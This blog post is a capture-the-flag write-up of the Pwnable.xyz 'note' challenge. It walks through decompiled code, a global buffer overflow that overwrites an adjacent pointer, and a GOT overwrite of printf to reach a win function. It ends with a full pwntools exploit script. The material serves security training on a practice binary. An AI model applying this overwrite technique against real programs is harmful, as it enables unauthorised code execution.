본문 바로가기
Wargame Write-Up/Pwnable.xyz

(Pwnable.xyz) note writeup

by snwo 2022. 1. 12.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int int32; // eax

  setup(argc, argv, envp);
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        int32 = read_int32();
        if ( int32 != 1 )
          break;
        edit_note();
      }
      if ( int32 != 2 )
        break;
      edit_desc();
    }
    if ( !int32 )
      break;
    puts("Invalid");
  }
  return 0;
}

It looks like a heap challenge.

There are notable functions, edit_note, edit_desc

edit_note

void edit_note()
{
  int int32; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Note len? ");
  int32 = read_int32();
  buf = malloc(int32);
  printf("note: ");
  read(0, buf, int32);
  strncpy(s, (const char *)buf, int32);
  free(buf);
}

It malloc memory with user-input size into buf (global variable)

read data and strncpy to s (global variable)

edit_desc

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(0x20uLL);
  printf("desc: ");
  return read(0, buf, 0x20uLL);
}

If buf exists, read data in buf

bss segment

.bss:0000000000601480                 public s
.bss:0000000000601480 ; char s[32]
.bss:0000000000601480 s               db 20h dup(?)           ; DATA XREF: edit_note+67↑o
.bss:00000000006014A0 ; void *buf
.bss:00000000006014A0 buf             dq ?                    ; DATA XREF: edit_desc+4↑r
.bss:00000000006014A0                                         ; edit_desc+1A↑w ...
.bss:00000000006014A0 _bss            ends

Let’s see .bss segment.

When we input over 32byte in s, can edit the address in buf.

In edit_desc, we can edit a data in the address in buf

so we can AAW (arbitrary address write)

checksec

Canary                        : ✓
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : ✘

There are no PIE and RelRo, and the win function also exists.

so just overwrite the GOT address of printf with the address of win

exploit

  1. malloc 0x30 byte and in strncpy, overwrite the address of buf with printf@got
  2. call edit_desc and write the address of win at buf (printf@got)
import sys
from pwn import *
if sys.argv.__len__()==4:
        r=remote(sys.argv[1],int(sys.argv[3]))
else:
        r=process("./challenge")
context.log_level='debug'
b=ELF("./challenge")
r.sendafter("> ","1 ");
r.sendafter("len? ",str(0x30));
r.sendafter("note: ",b'x'*32+p64(b.got['printf']))
r.sendafter("> ","2 ")
r.sendafter("desc: ",p64(b.sym['win']))

r.interactive()